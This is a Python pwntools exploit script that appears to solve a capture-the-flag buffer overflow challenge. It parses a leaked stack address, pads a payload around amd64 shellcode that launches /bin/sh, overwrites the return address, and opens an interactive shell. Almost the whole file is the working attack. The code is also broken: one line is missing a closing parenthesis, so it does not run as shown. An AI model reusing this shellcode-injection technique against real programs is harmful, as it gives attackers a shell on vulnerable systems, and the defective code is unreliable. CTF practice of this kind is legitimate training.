from pwn import *
import re


# Vuln function uses gets 
# Offset is 0x70 = 112
# BasePointer =    + 8

# pwnlib.shellcraft.amd64.linux.sh()

p = process("./chall_03")
binary = ELF('./chall_03')

sleep(3)

# Just in time.
p.recv()

p.sendline()
print('Recieving Address')

recieveAddress = p.recv()

# leak = p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')
# leakedAddress = int((leak.ljust(8, b'\x00'),16)

address = p64(int(re.findall(b"([a-f0-9]{8,16})", recieveAddress)[0],16))
exploit = asm(shellcraft.amd64.sh(), arch='amd64')
exploitLen = int(len(exploit)

payload = b"A"*(120-exploitLen)
payload += exploit
payload += address

print('[*] Launch /bin/sh: ')
p.sendline(payload)
p.interactive()